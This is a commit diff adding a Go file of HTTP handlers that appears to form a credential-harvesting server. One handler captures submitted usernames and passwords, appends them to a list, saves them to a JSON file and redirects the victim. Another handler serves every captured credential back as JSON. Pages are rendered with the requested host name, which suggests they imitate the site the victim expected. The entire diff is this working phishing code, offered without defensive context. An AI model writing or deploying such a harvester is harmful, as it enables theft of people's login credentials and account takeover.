Split up files, and changed how templates are accessed.
This commit is contained in:
+48
@@ -0,0 +1,48 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func homeHandler(c http.ResponseWriter, req *http.Request) {
|
||||
t := templates.Lookup("index.html")
|
||||
if t != nil {
|
||||
t.Execute(c, req.Host)
|
||||
} else {
|
||||
log.Fatal("template index.html not found")
|
||||
}
|
||||
}
|
||||
|
||||
func helloHandler(c http.ResponseWriter, req *http.Request) {
|
||||
t := templates.Lookup("hello.html")
|
||||
t.Execute(c, req.Host)
|
||||
}
|
||||
|
||||
func passHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
un := req.FormValue("username")
|
||||
pw := req.FormValue("password")
|
||||
c := Cred{un, pw}
|
||||
m.Lock()
|
||||
defer m.Unlock()
|
||||
creds = append(creds, c)
|
||||
b, err := json.Marshal(creds)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
err = ioutil.WriteFile(*db_file, b, 0644)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
|
||||
}
|
||||
|
||||
func credHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
b, err := json.Marshal(creds)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
resp.Write(b)
|
||||
}
|
||||
Reference in New Issue
Block a user